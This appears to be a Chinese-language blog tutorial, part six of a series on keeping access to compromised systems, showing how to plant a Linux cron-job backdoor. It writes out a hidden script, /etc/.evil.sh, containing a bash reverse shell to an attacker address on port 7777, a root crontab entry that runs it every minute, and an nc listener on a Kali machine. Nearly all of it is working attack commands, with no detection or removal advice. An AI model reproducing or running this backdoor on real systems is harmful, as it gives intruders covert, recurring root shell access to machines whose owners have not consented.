操作系统权限维持（六）之Linux系统-定时任务后门

系列文章

操作系统权限维持（一）之Windows系统-粘贴键后门操作系统权限维持（二）之Windows系统-克隆账号维持后门
操作系统权限维持（三）之Windows系统-启动项维持后门
操作系统权限维持（四）之Windows系统-计划任务维持后门
操作系统权限维持（五）之Windows系统-系统服务维持后门

定时任务后门

使用crontab命令进行反弹shell。crontab命令用于设置周期性被执行的指令。新建shell脚本，利用脚本进行反弹

crontab -u root -r //删除
crontab -u root -l //查看
crontab -u root -e //修改

crontab -u root -l //查看计划任务

1. 创建反弹shell脚本，vim /etc/.evil.sh

#!/bin/bash
bash -i >& /dev/tcp/192.168.52.130/7777 0>&1

并加上可执行权限

chmod +x /etc/.evil.sh

2. 添加计划任务

我们可以使用crontab -e或者vim /etc/crontab添加计划任务

#添加计划任务
vim /etc/crontab
#查看计划任务
cat /etc/crontab

设置定时任务为每分钟执行一次

*/1 * * * * root /etc/.evil.sh #每一分钟执行一次

kali机器开启监听

nc -lvvp 7777

kali机器收到反弹shell